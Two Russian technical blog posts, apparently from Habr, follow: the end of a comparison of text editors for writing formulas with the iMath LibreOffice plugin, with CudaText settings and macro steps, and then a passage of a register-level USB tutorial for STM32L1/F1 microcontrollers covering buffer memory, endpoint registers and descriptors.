Настроить его можно, но каково набирать русские подписи к переменным. Везде описываются решения с langmap и keymap, но они не достаточны. В статье [Vim и переключение раскладок: о наболевшем](https://habr.com/ru/post/321902/) рекомендуется плагин, который переключает раскладку. Можно найти еще одно [вроде бы рабочее решение](https://github.com/powerman/vim-plugin-ruscmd).
Однако даже при решении проблемы с русской раскладкой остается вопрос: сколько инженеров использует vim в своей работе? Его даже из программистов только часть использует. Откладываем vim в сторону и ищем дальше.
| | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| [W]indows [L]inux [M]acOS | WLM | WLM | W\_\_ | WLM | W\_\_ | W\_\_ | WLM | WLM |
| поиск регулярками | + | + | + | + | + | + | + | + |
| замена внутри выделения | + | + | + | + | + | + | + | + |
| подстановки (\0, \1, ...) | + | +⁸ | + | + | + | + | + | + |
| ✎ добавить курсор мышью | + | + | +¹ | + | - | + | + | ? |
| ✎ добавить выделение совпадения | ^D | ^⇧D | - | ^⇧D | - | - | ^⇧D⁴ | +⁰ |
| ✎ выделить все совпадения | ⌥F3 | Ø | - | - | - | ^⇧␠ | - | ? |
| ✎ выделить все совпадения из диалога поиска | ⌥⏎ | ⌥E | - | - | - | - | - | ? |
| ✎ добавить курсор строкой ниже | ^⌥↓⁵ | ⌥⇧↓ | -⁶ | -⁶ | - | -⁶ | -⁶ | +⁰ |
| ⬤ макрос редактирования текста | + | +⁰ | + | - | +⁰ | - | + | + |
| ⬤ запись поиска | - | +⁰ | + | - | - | - | + | + |
| подсветка парных скобок | +⁷ | +¹ | + | + | +⁰ | + | + | + |
| возможность определить сложный синтаксис | + | + | ± | ? | ? | ? | + | ± |
| удобство работы с русским текстом | + | + | + | +² | + | + | ±⁴ | ±⁰ |
| поддержка плагинов | + | + | + | ± | + | - | + | + |
| менеджер плагинов | + | + | + | - | + | - | - | +¹ |
| палитра команд | ^⇧P | ^⇧P | ^M⁰³ | - | - | - | ^⇧E⁴ | - |
Клавиши (для Windows): ^ — Ctrl, ⇧ — Shift, ⌥ — Alt, ␠ — Space, ⏎ — Enter, ←↑↓→ — стрелки, Ø — не назначено
⁰ — делается плагинами
¹ — требует настройки
² — по умолчанию русский текст не отображается, нужно активировать `code.page=65001` в файле настроек
³ — шоткат NppMenuSearch конфликтует с пометками, нужно перенастраивать
⁴ — шоткаты, содержацие буквы, работают только в английской раскладке
⁵ — конфликтует с шоткатом переворачивания экрана
⁶ — есть шоткат ⌥⇧↓, но на самом деле он выполняет прямоугольное выделение
⁷ — без настройки нижнее подчеркивание не очень заметно
⁸ — используются обозначения $1-$9, а не \1-\9
Что тут можно обобщить? Удивляют ~~2~~ вещи: невозможность записи поиска в макросах Sublime и ~~невозможность (или я плохо искал?) подстановки при поиске с заменой в CudaText~~. Тем не менее, выбора в общем-то и нет.
| Logo | Название | Версия | Дата | Текстовый компонент | Решение |
| --- | --- | --- | --- | --- | --- |
| | Sublime Text | 3.2.2 | 01.10.19 | Cвой (на Skia) | ✘ Нужные макросы не записать |
| | CudaText | 1.118.2.0 | 29.12.20 | Свой | Подходит |
| | Notepad++ | 7.9.2 | 01.01.21 | Scientilla | ✘ Слабые возможности редактирования текста |
| | SciTE | 4.4.6 | 01.12.20 | Scientilla | ✘ Макросов вообще не нашел |
| | AkelPad | 4.9.8 | 18.07.16 | Scientilla | ✘ Нужные макросы не записать |
| | Notepad3 | 5.20.915.1 | 15.09.20 | Scientilla | ✘ Блокнот я им заменил, но нужные макросы не записать |
| | Textadept | 11.0 | 01.12.20 | Scientilla / Curses | ✘ Шоткаты на русской раскладке не работают |
| | Vim | 8.2 | 10.12.20 | ? | ✘ Сколько инженеров его знает? |
 [CudaText](https://sourceforge.net/projects/cudatext/files/release/)
Итак, берем CudaText. Он поставляется как [portable zip-архив](https://www.fosshub.com/CudaText.html). В [wiki](https://wiki.freepascal.org/CudaText#Location_of_folders_.27settings.27.2C_.27py.27.2C_.27data.27) что-то пишут про не portable версию, но инсталлятора я не нашел. Хорошо это или плохо? Устанавливающаяся версия кажется понятнее — все настройки лежат в %APPDATA% и их можно хранить в репозитории. А здесь? Окей, положим весь редактор в репозиторий, 25Мб — это не так много, зато на другой машине не надо будет устанавливать — запустил из репозитория и голову не забиваешь. Надо сказать, что настройки хоть и хранятся в той же папке, что и редактор, при заливке в нее новой версии не перетираются, неудобство только в том что нужно руками распаковать новую версию. Первый запуск:
Эстетически выглядит норм, но как-то не контрастно всё. Ладно, это настроим. Так, убираем все что нам не нужно для набора формул. Включаем подсветку парных скобок и перенос по словам. Также убираем поведение с последней строкой вверху экрана при прокрутке до упора (непривычно), автозакрытие скобок (польза спорная, а записи макросов иногда мешает). Statusbar оставляем, чтобы видеть, когда включен режим записи макроса.
Выбираем Options → Settings default/user, пишем:
```
{
"wrap_mode" : 1,
"wrap_indented" : false,
"ui_statusbar_show" : true,
"ui_sidebar_show" : true,
"find_hidden_buttons": "c",
"bracket_highlight" : true,
"ui_toolbar_show" : false,
"ui_theme" : "white",
"ui_theme_syntax" : "white",
"ui_font_name" : "default",
"ui_font_size" : 9,
"font_name" : "Lucida Console",
"font_size" : 10,
"ui_title_path" : true,
"ui_menu_show" : false,
"ui_tab_show" : false,
"gutter_show" : false,
"gutter_fold" : false,
"show_last_line_on_top" : false,
"log_sessions" : false,
"py_init_log" : false,
"auto_close_brackets": ""
}
```
Теперь команды меню доступны только по кнопке ' ⋮ ' слева вверху и через меню Ctrl+Shift+P (как в Sublime). Текущая вкладка, крестика которой теперь не видно, закрывается по Ctrl+W.
Нужно выбрать тему поконтрастнее.
Но тратить время на это не придётся — светлая контрастная тема одна — white (вторая слева).
Из оригинального: если увеличить высоту окна, слева появится кнопка 'δ', которая показывает список специальных символов:
Но нам это не нужно — мы используем aText для набора греческих и математических символов.
Теперь надо установить плагины: Auto\_Save и Macros. Устанавливаются они как в Sublime: Plugins → Addons Manager → Install..., или через Ctrl+Shift+P и наборе чего-то типа plugin:Install+Enter. Через некоторое время появится список доступных плагинов:
Тут все понятно. Надо только обратить внимание, что плагины разбиты по категориям, и для фильтрации можно набирать название этой категории с ':', например, 'theme:' — для просмотра всех неустановленных тем. И еще: установленные плагины не отображаются в списке, для них есть пункт меню Plugins → Addons Manager → Remove add-on...
Сначала повесим шоткаты на команды макроса (из коробки таких шоткатов нет). Если в Sublime это делалось правкой конфига через Preferences→Key Bindings, то здесь это делается оригинально:
* надо нажать Ctrl+Shift+P, выбрать требуемую команду, например 'macros: start recording'
* нажать F9
* в появившемся окне нажать кнопку "Set"
* нажать комбинацию клавиш
* нажать ОК
Назначаем Ctrl+Q для "macros: start recording" и Ctrl+Shift+Q для "macros: stop recording".
Эти настройки сохраняются в файле settings/keys:
```
...
"2810" : {
"name" : "macros: start recording",
"s1" : [ "Ctrl+Q" ]
}
...
```
Но можно ли дописывать шоткаты прямо в файле и назначать произвольные цифровые айдишники — не ясно.
Основная задача — записать макрос `iMath:explain EQDEF`, который будет копировать выражение, ставить переменную в конце после '=', оборачивать переменные в `_ii_VAL(` и `)_ii_` и еще будет переименовывать `@метку@`. Задача большая, поэтому разобъем её на более мелкие. Здесь приведу запись только одной. Итак, записываем макрос, который обернет переменные в `_ii_VAL(` и `)_ii_`:
* Ctrl+Q — запись пошла.
* Вначале надо подписать всем ключевым словам @@ впереди, чтобы не обернуть их нечаянно. ~~CudaText — это единственный редактор без поддержки замены с подстановками вместо групп совпадения типа \0, \1, ..., поэтому~~ будем пользоваться мультивыделением. Жмем Ctrl+F, пишем регулярку `\b(abs|acute|aleph|alignb...widetilde|widevec|wp|yellow)\b`, жмем Alt+E, Esc — теперь у нас выделены все ключевые слова, жмем ←, вписываем `@@`.
* Выделяем строки, начинающиеся на `%%ii TEXT`, с помощью регулярки `(?<=^%%ii\s+TEXT).*$`.
* Выделяем внутри выделения числа и переменные с помощью регулярки `(?<=[^%@'"])(\d+\.\d+|%\w+_\{[^{}]*\}|%\w+|\b\w+_\{[^{}]*\}|\b\w+)(?!.*%%gg$)`.
* С прыжками курсора влево-вправо возиться лениво — ну что ж, затрем буфер обмена, Ctrl+X.
* Пишем `_ii_VAL(`, Ctrl+V, `)_ii_`.
* Удаляем `@@` простой заменой по всему документу.
* Ctlr+Shift+Q — закончили запись, назначаем имя `imath:_ii_VAL()_ii_ all`.
* Теперь он появился в списке команд — назначаем шоткат по той же схеме: Ctrl+Shift+P, выбрать макрос `imath:_ii_VAL()_ii_ all` (не нажимая Enter), F9, назначаем Ctrl+Shift+V.
Макрос можно править (что я и делал), он лежит в settings/macros.json. Примерно такими же хитрыми манипуляциями записываем остальное. При записи макроса можно вызывать другой макрос.
Теперь настроим Auto\_Save. Ctrl+Shift+P → ищем `plugin:Auto Save: config`, правим конфиг:
```
[op]
save_interval=30
save_before_closing_tab=1
on_deactivate=0
```
Теперь Cudа будет сохранять файлы ничего не спрашивая, таким образом правка формулы в CudaText будет происходить по той же логике, что и правка в LibreOffice Math. Ещё я назначил "file:quit program" шоткат F3 (у меня и в iMath редактор вызывается по F3) — чтобы открыть/закрыть двумя нажатиями одной кнопки.
Осталось настроить подсветку синтаксиса. [Wiki](https://wiki.freepascal.org/CudaText#Lexers) говорит, что чтобы создать свой лексер, нужно установить [SynWrite](https://sourceforge.net/projects/synwrite/) и потом, видимо, удалить и забыть про него. Действуем по этой инструкции:
1. Устанавливаем [SynWrite](https://sourceforge.net/projects/synwrite/).
2. Options → Customize lexers library..., копируем какой-нибудь простой язык или добавляем новый с именем eqn.
3. View → Lexer → Выбираем свой новый лексер.
4. Options → Customize lexer...
5. Накидываем стили из других языков с помощью кнопки "Import Items" (красная стрелка с листом бумаги):
6. Добавляем правила:
7. Копируем файлы eqn.lcf и eqn.cuda-lexmap из SynWrite\Data\lexlib в cudatext\Data\lexlib.
8. Перезапускаем редактор, вставляем тестовый текст, нажимаем Ctrl+Shift+P, eqn, Enter. Появляется окно:
Выбираем подходящие по смыслу стили и нажимаем ОК, лексер заработал:
Вот и все. Теперь заниматься оформительской писаниной стало гораздо легче! Настройки можно взять [здесь](https://github.com/cser/images/blob/master/post_files/cuda_text_iMath_settings_01.zip?raw=true) (нужно распаковать в папку, в которую распаковали редактор).
Заключение
----------
Конечно, я пропустил много популярных редакторов (те же [Atom](https://atom.io/) и [Visual Studio Code](https://code.visualstudio.com/)). Но все равно странно — казалось, подойдет любой продвинутый, а подошел только один, причём в других не хватало простых вещей. Хотелось поделиться обнаружением этого редактора. Еще хотел поделиться способом оформления расчетной документации (или курсовых) с помощью iMath (плагин еще тот по стабильности и эргономичности, но другого нет).
[Страница скачивания LibreOffice](https://www.libreoffice.org/download/download/) — тестировал на 7.0, но и 6.4 должен работать
[Страница скачивания iMath](https://sourceforge.net/projects/ooo-imath/files/Beta%20versions/iMath-2.3.1/) — скачивать нужно iMath-2.3.1~beta2.oxt
[Обсуждение фичи iMath "open in external editor" на sourceforge.net](https://sourceforge.net/p/ooo-imath/feature-requests/75/) — про настройку iMath
[Документация по iMath](https://ooo-imath.sourceforge.io/wiki/index.php/Main_Page)
[Страница скачивания CudaText](https://www.fosshub.com/CudaText.html)
[Настройки CudaText для работы с iMath](https://github.com/cser/images/blob/master/post_files/cuda_text_iMath_settings_01.zip?raw=true) (нужно распаковать в папку, в которую распаковали редактор)
[CudaText на github.com](https://github.com/Alexey-T/CudaText)
[CudaText на sourceforge.net](https://sourceforge.net/projects/cudatext/) — здесь только плагины
[Настройки aText для набора греческих символов и не только](https://raw.githubusercontent.com/cser/images/master/post_files/engineers.csv) — открываются по Ctrl+O из aText | https://habr.com/ru/post/536478/ | null | ru | null |
# USB на регистрах: STM32L1 / STM32F1
[Еще более низкий уровень (avr-vusb)](https://habr.com/ru/post/460815/)
[USB на регистрах: bulk endpoint на примере Mass Storage](https://habr.com/ru/post/549016/)
[USB на регистрах: interrupt endpoint на примере HID](https://habr.com/ru/post/551720/)
[USB на регистрах: isochronous endpoint на примере Audio device](https://habr.com/ru/post/558822/)
С программным USB на примере AVR мы уже познакомились, пришла пора взяться за более тяжелые камни — STM32. Подопытными у нас будут классический STM32F103C8T6 а также представитель малопотребляющей серии STM32L151RCT6. Как и раньше, пользоваться покупными отладочными платами и HAL'ом не будем, отдав предпочтение велосипеду.
Раз уж в заглавии указано два контроллера, стоит рассказать об основных отличиях. В первую очередь это резистор подтяжки, говорящий usb-хосту, что в него что-то воткнули. В L151 он встроен и управляется битом SYSCFG\_PMC\_USB\_PU, а в F103 — нет, придется впаивать на плату снаружи и соединять либо с VCC, либо с ножкой контроллера. В моем случае под руку попалась ножка PA10. На которой висит UART1… А другой вывод UART1 конфликтует с кнопкой… замечательную плату я развел, не находите? Второе отличие это объем флеш-памяти: в F103 ее 64 кБ, а в L151 целых 256 кБ, чем мы когда-нибудь и воспользуемся при изучении конечных точек типа Bulk. Также у них немного отличаются настройки тактирования, да и лампочками с кнопочками могут на разных ногах висеть, но это уже совсем мелочи. [Пример для F103](https://github.com/COKPOWEHEU/usb/tree/main/1.Core_F1) доступен в репозитории, так что адаптировать под него остальные [эксперименты с L151](https://github.com/COKPOWEHEU/usb/tree/main/1.Core_L1) будет несложно. Исходные коды доступны тут: [github.com/COKPOWEHEU/usb](https://github.com/COKPOWEHEU/usb)
### Общий принцип работы с USB
Работа с USB в данном контроллере предполагается с использованием аппаратного модуля. То есть мы ему говорим что делать, он делает и в конце дергает прерывание «я готовое!». Соответственно, из основного main'а нам вызывать почти ничего не надо (хотя функцию usb\_class\_poll я на всякий случай предусмотрел). Обычный цикл работы ограничен единственным событием — обмен данными. Остальные — сброс, сон и прочие — события исключительные, разовые.
В низкоуровневые подробности обмена я на этот раз углубляться не буду. Кому интересно, может почитать про vusb. Но напомню, что обмен обычными данными идет не по одному байту, а по пакету, причем направление передачи задает хост. И названия этих направлений диктует тоже он: IN передача означает что хост принимает данные (а устройство передает), а OUT — что хост передает данные (а мы принимаем). Более того, каждый пакет имеет свой адрес — номер конечной точки, с которой хост хочет общаться. Пока что у нас будет единственная конечная точка 0, отвечающая за устройство в целом (для краткости я еще буду называть ее ep0). Для чего нужны остальные я расскажу в других статьях. Согласно стандарту, размер ep0 составляет строго 8 байт для низкоскоростных устройств (к каковым относится все тот же vusb) и на выбор 8, 16, 32, 64 байта для полноскоростных вроде нашего.
А если данных слишком мало и они не заполняют буфер полностью? Тут все просто: помимо данных в пакете передается и их размер (это может быть поле wLength либо низкоуровневая комбинация сигналов SE0, обозначающая конец передачи), так что даже если нам надо через ep0 размером 64 байта передать три байта, то переданы будут именно три байта. В результате расходовать пропускную способность, гоняя ненужные нули, мы не будем. Так что не стоит мельчить: если можем себе позволить потратить 64 байта, тратим не раздумывая. Помимо прочего это несколько уменьшит загруженность шины, ведь передать за раз кусок в 64 байта (плюс все заголовки и хвосты) проще, чем 8 раз по 8 байт (к каждому из которых опять-таки заголовки и хвосты).
UPD: Как оказалось, размер буферов под USB в этих контроллерах всего 512 байт, так что экономить все-таки придется
А если данных напротив слишком много? Тут сложнее. Данные приходится разбивать по размеру конечной точки и передавать порциями. Скажем, размер ep0 у нас 8 байт, а передать хост пытается 20 байт. При первом прерывании к нам придут байты 0-7, во втором 8-15, в третьем 16-20. То есть чтобы собрать посылку целиком нужно получить целых три прерывания. Для этого в том же HAL придуман хитрый буфер, с которым я попытался разобраться, но после четвертого уровня пересылки одного и того же между функциями, плюнул. Как результат, в моей реализации буферизация ложится на плечи программиста.
Но хост хотя бы всегда говорит сколько данных пытается передать. Когда же данные передаем мы, надо как-то хитро дернуть низкоуровневые состояния ножек чтобы дать понять что данные закончились. Точнее, дать понять модулю usb, что данные закончились и что надо дернуть ножки. Делается это вполне очевидным способом — записью только части буфера. Скажем, если буфер у нас 8 байт, а мы записали 4, то очевидно, данных у нас всего 4 байта, после которых модуль пошлет волшебную комбинацию SE0 и все будут довольны. А если мы записали 8 байт, это значит что у нас всего 8 байт или что это только часть данных, которая влезла в буфер? Модуль usb считает что часть. Поэтому если мы хотим остановить передачу, то после записи 8-байтного буфера должны записать следом 0-байтный. Это называется ZLP, Zero Length Packet. Про то, как это выглядит в коде, я расскажу чуть позже.
### Организация памяти
Согласно стандарту, размер конечной точки 0 может достигать 64 байт. Размер любой другой — аж 1024 байт. Количество точек также может отличаться от устройства к устройству. Те же STM32L1 поддерживают до 7 точек на вход и 7 на выход (не считая ep0). Поскольку с этими буферами активно взаимодействует соответствующая периферия, они вынесены в отдельную область памяти, называемую PMA (packet memory area). Модуль USB взаимодействует с ней напрямую и нумерует начиная с 0, а для контроллера она отображается на общаю память начиная с адреса USB\_PMAADDR. Чтобы указать где внутри PMA располагаются буферы каждой конечной точки, в начале выделен массив на 8 элементов каждый со следующей структурой, и только потом собственно область для данных:
```
typedef struct{
volatile uint32_t usb_tx_addr;
volatile uint32_t usb_tx_count;
volatile uint32_t usb_rx_addr;
volatile union{
uint32_t usb_rx_count;
struct{
uint32_t rx_count:10;
uint32_t rx_num_blocks:5;
uint32_t rx_blocksize:1;
};
};
}usb_epdata_t;
```
Здесь задаются начало буфера передачи, его размер, потом начало буфера приема и его размер. Обратите внимание во-первых, что usb\_tx\_count задает не собственно размер буфера, а количество данных для передачи. То есть наш код должен записать по адресу usb\_tx\_addr данные, потом записать в usb\_tx\_count их размер и только потом дернуть регистр модуля usb что данные мол записаны, передавай. Еще большее внимание обратите внимание на странный формат размера буфера приема: он представляет собой структуру, в которой 10 бит rx\_count отвечают за реальное количество прочитанных данных, а вот остальные — уже действительно за размер буфера. Надо же железке знать докуда писать можно, а где начинаются чужие данные. Формат этой настройки тоже довольно интересный: флаг rx\_block\_size говорит в каких единицах задается размер. Если он сброшен в 0, то в 2-байтных словах, тогда размер буфера равен 2\*rx\_num\_blocks, то есть от 0 до 62. А если выставлен в 1, то в 32-байтных блоках, соответственно размер буфера тогда оказывается 32\*rx\_num\_blocks и лежит в диапазоне от 32 до 512 (да, не до 1024, такое вот ограничение контроллера).
**Внимание, грабли! Размер PMA буфера составляет всего 512 байт.** Причем указано это не в разделе о USB и не в каком-то еще очевидном месте вроде заголовочных файлов, а как бы между прочим в разделе memory map. Даже ссылку туда поленились шлепнуть. В общем, на все буферы у вас остается 448 байт (поскольку 64 занято под таблицу размещения).
Для размещения буферов в этой области будем использовать полудинамический подход. То есть выделять память по запросу, но не освобождать ее (еще не хватало malloc / free изобретать!). На начало неразмеченного пространства будет указывать переменная lastaddr, изначально указывающая на начало области PMA за вычетом таблицы структур, рассмотренной выше. Ну а при каждом вызове функции настройки очередной конечной точки usb\_ep\_init() она будет сдвигаться на указанный там размер буфера. И в соответствующую ячейку таблицы будет вносится нужное значение, естественно. Значение этой переменной сбрасывается по событию ресета, после чего тут же следует вызов usb\_class\_init(), в котором точки настраиваются заново в соответствии с юзерской задачей.
### Работа с регистрами приема-передачи
Как было только что сказано, на прием мы читаем сколько же реально данных пришло (поле usb\_rx\_count), потом читаем сами данные, потом дергаем модуль usb что буфер свободен, можно принимать следующий пакет. На передачу наоборот: записываем данные в буфер, потом выставляем в usb\_tx\_count сколько же записано и наконец дергаем модуль что буфер заполнен, можно передавать.
**Первые грабли** начинаются при собственно работе с буфером: он организован не по 32 бита, как весь остальной контроллер, и не по 8 бит, как можно было ожидать. А по 16 бит! В результате запись и чтение в него осуществляются по 2 байта, выровненные по 4 байта. Спасибо, ST, что сделали такое извращение! Как бы скучно без этого жилось! Теперь обычным memcpy не обойтись, придется городить специальные функции. Кстати, если кто любит DMA, то оно такое преобразование делать вроде умеет самостоятельно, хотя я это не проверял.
И тут же **вторые грабли** с записью в регистры модуля. Дело в том, что за настройку каждой конечной точки — за ее тип (control, bulk и т.д.) и состояние — отвечает один регистр USB\_EPnR, то есть просто так в нем бит не поменяешь, надо следить чтобы не попортить остальные. А во-вторых, в этом регистре присутствуют биты аж четырех типов! Одни доступны только на чтение (это замечательно), другие на чтение и запись (тоже нормально), третьи игнорируют запись 0, но при записи 1 меняют состояние на противоположное (начинается веселье), а четвертые напротив игнорируют запись 1, но запись 0 сбрасывает их в 0. Скажите мне, какой наркоман додумался в одном регистре сделать биты, игнорирующие 0 и игнорирующие 1?! Нет, я готов предположить что это сделано ради сохранения целостности регистра, когда к нему обращаются и из кода, и из железа. Но вам что, лень было поставить инвертор чтобы биты сбрасывались записью 1? Или в другом месте инвертор чтобы другие биты инвертировались записью 0? В результате выставление двух битов регистра выглядит так (еще раз спасибо ST за такое извращение):
```
#define ENDP_STAT_RX(num, stat) do{USB_EPx(num) = ((USB_EPx(num) & ~(USB_EP_DTOG_RX | USB_EP_DTOG_TX | USB_EPTX_STAT)) | USB_EP_CTR_RX | USB_EP_CTR_TX) ^ stat; }while(0)
```
Ах да, чуть не забыл: доступа к регистру по номеру у них тоже нет. То есть макросы USB\_EP0R, USB\_EP1R и т.д. у них есть, но вот если номер пришел в переменной, то увы. Пришлось изобретать свой USB\_EPx() — а что поделать.
Ну и для соблюдения формальностей укажу, что флаг готовности к чтению (то есть что предыдущие данные мы уже прочитали) задается битовой маской USB\_EP\_RX\_VALID, а к записи (то есть что данные мы записали полностью и их можно передавать) — маской USB\_EP\_TX\_VALID.
### Обработка IN и OUT запросов
Возникновение прерывания USB может сигнализировать о разных вещах, но сейчас мы сосредоточимся на запросах обмена данными. Флагом такого события будет бит USB\_ISTR\_CTR. Если увидели его, можем разбираться с какой точкой хочет общаться хост. Номер точки скрывается под битовой маской USB\_ISTR\_EP\_ID, а направление IN или OUT под битами USB\_EP\_CTR\_TX и USB\_EP\_CTR\_RX соответственно.
Поскольку точек у нас может быть много, и каждая со своим алгоритмом обработки, заведем им всем callback-функции, которые бы вызывались по соответствующим событиям. Например, послал хост данные в endpoint3, мы прочитали USB->ISTR, вытащили оттуда что запрос у нас OUT и что номер точки равен 3. Вот и вызываем epfunc\_out[3](3). Номер точки в скобках передается если вдруг юзерский код захочет повесить один обработчик на несколько точек. Ах да, еще в стандарте USB принято входные точки IN помечать взведенным 7-м битом. То есть endpoint3 на выход будет иметь номер 0x03, а на вход — 0x83. Причем это разные точки, их можно использовать одновременно, друг другу они не мешают. Ну почти: в stm32 у них настройка типа (bulk, interrupt, ...) общая и на прием, и на передачу. Так что та же 0x83-я точка IN будет соответствовать callback'у epfunc\_in[3](3 | 0x80).
Тот же принцип используется и для ep0. Разница только в том, что ее обработка происходит внутри библиотеки, а не внутри юзерского кода. Но что делать если нужно обрабатывать специфичные запросы вроде какого-нибудь HID — не лезть же ковырять код библиотеки? Для этого предусмотрены специальные callback'и usb\_class\_ep0\_out и usb\_class\_ep0\_in, которые вызываются в специальных местах и имеют специальный формат, рассказывать про который я буду ближе к концу.
Стоит упомянуть еще про один не очень очевидный момент, связанный с возникновением прерываний обработки пакетов. С OUT запросами все просто: данные пришли, вот они. А вот IN прерывание генерируется не тогда, когда хост послал IN запрос, а когда в буфере передачи пусто. То есть по принципу действия это прерывание аналогично прерыванию по опустошению буфера UART. Следовательно, когда мы хотим что-то передать хосту, мы это просто записываем данные в буфер передачи, ждем прерывания IN и дописываем что не поместилось (не забываем про ZLP). И ладно еще с «обычными» endpoint'ами, ими программист управляет, можно пока не обращать внимание. Но вот через ep0 обмен идет всегда. Поэтому и работа с ней должна быть встроена в библиотеку.
Как следствие, начало передачи осуществляется функцией ep0\_send, которая записывает в глобальную переменную адрес начала буфера и объем данных для передачи, после чего, обратите внимание, сама в первый раз дергает обработчик события IN. В дальнейшем этот обработчик будет вызываться по аппаратным событиям, но толчок дать все же надо.
Ну а сам обработчик устроен довольно просто: записывает очередной кусок данных в буфер передачи, сдвигает адрес начала буфера и уменьшает количество оставшихся для передачи байтов. Отдельный костыль связан с тем самым ZLP и необходимостью на некоторые запросы отвечать пустым пакетом. В данном случае конец передачи обозначается тем, что адрес данных стал NULL. А пустой пакет — что он равен константе ZLPP. И то и другое происходит при равенстве размера нулю, так что реальной записи не происходит.
Похожий алгоритм придется реализовывать и при работе с другими конечными точками. Но это уже забота пользователя. Да и логика их работы зачастую отличается от работы с ep0, так что в ряде случаев такой вариант окажется удобнее буферизации на уровне библиотеки.
### Логика общения по USB
Сам факт подключения хост определяет по наличию подтягивающего резистора между какой-нибудь линией данных и питанием. Он производит сброс устройства, назначает ему адрес на шине и пытается определить что же именно в него воткнули. Для этого он читает дескрипторы устройства и конфигурации (а если надо, то и специфичные). Также он может прочитать строковые дескрипторы чтобы понять как устройство само себя называет (хотя если пара VID:PID ему знакома, предпочтет вытянуть строки из своей базы данных). После этого хост может подгрузить соответствующий драйвер и работать с устройством уже на понятном ему языке. В «понятный ему язык» входят специфичные запросы и обращения к конкретным интерфейсам и конечным точкам. До этого тоже дойдем, но сначала надо чтобы устройство хотя бы отобразилось в системе.
### Обработка SETUP запросов: DeviceDescriptor
Человек, хоть немного ковырявший USB, уже давно должен был насторожиться: COKPOWEHEU, ты говоришь про запросы IN и OUT, но ведь в стандарте прописан еще и SETUP. Да, так и есть, но это — скорее разновидность OUT запроса, специально структурированная и предназначенная исключительно для конечной точки 0. Об ее структуре и особенностях работы и поговорим.
Сама структура выглядит следующим образом:
```
typedef struct{
uint8_t bmRequestType;
uint8_t bRequest;
uint16_t wValue;
uint16_t wIndex;
uint16_t wLength;
}config_pack_t;
```
Поля этой структуры рассмотрены во множестве источников, но все же напомню.
bmRequestType — битовая маска, биты в которой означают следующее:
7: направление передачи. 0 — от хоста к устройству, 1 — от устройства к хосту. Фактически, это тип следующей передачи, OUT или IN.
6-5: класс запроса
0x00 (USB\_REQ\_STANDARD) — стандартный (обрабатывать пока будем только их)
0x20 (USB\_REQ\_CLASS) — специфичные для класса (до них дойдем в следующих статьях)
0x40 (USB\_REQ\_VENDOR) — специфичные для производителя (надеюсь, не придется их трогать)
4-0: собеседник
0x00 (USB\_REQ\_DEVICE) — устройство в целом
0x01 (USB\_REQ\_INTERFACE) — отдельный интерфейс
0x02 (USB\_REQ\_ENDPOINT) — конечная точка
bRequest — собственно запрос
wValue — небольшое 16-битное поле данных. На случай простых запросов, чтобы не гонять полноценные пересылки.
wIndex — номер получателя. Например, интерфейса, с которым хост хочет пообщаться.
wLength — размер дополнительных данных, если 16 бит wValue недостаточно.
Первым делом при подключении устройства хост пытается узнать что же именно в него воткнули. Для этого он посылает запрос со следующими данными:
bmRequestType = 0x80 (запрос на чтение) + USB\_REQ\_STANDARD (стандартный) + USB\_REQ\_DEVICE (к устройству в целом)
bRequest = 0x06 (GET\_DESCRIPTOR) — запрос дескриптора
wValue = 0x0100 (DEVICE\_DESCRIPTOR) — дескриптор устройства в целом
wIndex = 0 — не используется
wLength = 0 — дополнительных данных нет
После чего шлет запрос IN, куда устройство должно положить ответ. Как мы помним, запрос IN от хоста и прерывание контроллера слабо связаны, так что записывать ответ будем сразу в буфер передатчика ep0. Теоретически, данные из этого, да и всех прочих, дескрипторов привязаны к конкретному устройству, поэтому помещать их в ядро библиотеки бессмысленно. Соответствующие запросы передаются функции usb\_class\_get\_std\_descr, которая возвращает ядру указатель на начало данных и их размер. Дело в том, что некоторые дескрипторы могут быть переменного размера. Но DEVICE\_DESCRIPTOR к ним не относится. Его размер и структура стандартизованы и выглядят так:
```
uint8_t bLength; //размер дескриптора
uint8_t bDescriptorType; //тип дескриптора. В данном случае USB_DESCR_DEVICE (0x01)
uint16_t bcdUSB; //число 0x0110 для usb-1.1, либо 0x0200 для 2.0. Других значений я не встречал
uint8_t bDeviceClass; //класс устройства
uint8_t bDeviceSubClass; //подкласс
uint8_t bDeviceProtocol; //протокол
uint8_t bMaxPacketSize0; //размер ep0
uint16_t idVendor; // VID
uint16_t idProduct; // PID
uint16_t bcdDevice_Ver; //версия в BCD-формате
uint8_t iManufacturer; //номер строки названия производителя
uint8_t iProduct; //номер строки названия продукта
uint8_t iSerialNumber; //номер строки версии
uint8_t bNumConfigurations; //количество конфигураций (почти всегда равно 1)
```
В первую очередь обратите внимание на первые два поля — размер дескриптора и его тип. Они характерны почти для всех дескрипторов USB (кроме HID, пожалуй). Причем если bDescriptorType это константа, то bLength приходится чуть ли не считать вручную для каждого дескриптора. В какой-то момент мне это надоело и был написан макрос
```
#define ARRLEN1(ign, x...) (1+sizeof((uint8_t[]){x})), x
```
Он считает размер переданных ему аргументов и подставляет **вместо** первого. Дело в том, что иногда дескрипторы бывают вложенными, так что один, скажем, требует размер в первом байте, другой в 3 и 4 (16-битное число), а третий в 6 и 7 (снова 16-битное число). Точные значения аргументов макросам безразличны, но хотя бы количество совпадать должно. Собственно, макросы для подстановки в 1, в 3 и 4, а также в 6 и 7 байты там тоже есть, но их применение я покажу на более характерном примере.
Пока же рассмотрим 16-битные поля вроде VID и PID. Понятное дело что в одном массиве смешать 8-битные и 16-битные константы не выйдет, да плюс endiannes… в общем, на выручку снова приходят макросы: USB\_U16( x ).
В плане выбора VID:PID вопрос сложный. Если планируется выпускать продукцию серийно, все же стоит купить персональную пару. Для личного же пользования можно подобрать чужую от похожего устройства. Скажем, у меня в примерах будут пары от AVR LUFA и STM. Все равно хост определяет по этой паре скорее специфичные баги реализации, чем назначение. Потому что назначение устройства подробно расписывается в специальном дескрипторе.
**Внимание, грабли!** Как оказалось, Windows привязывает к этой паре драйвера, то есть вы, например, собрали устройство HID, показали системе и установили драйвера. А потом перепрошили устройство под MSD (флешку), не меняя VID:PID, то драйвера останутся старые и, естественно, работать устройство не будет. Придется лезть в «управление оборудованием», удалять драйвера и заставлять систему найти новые. Я думаю, ни для кого не станет неожиданностью, что в Linux такой проблемы нет: устройства просто подключаются и работают.
### StringDescriptor
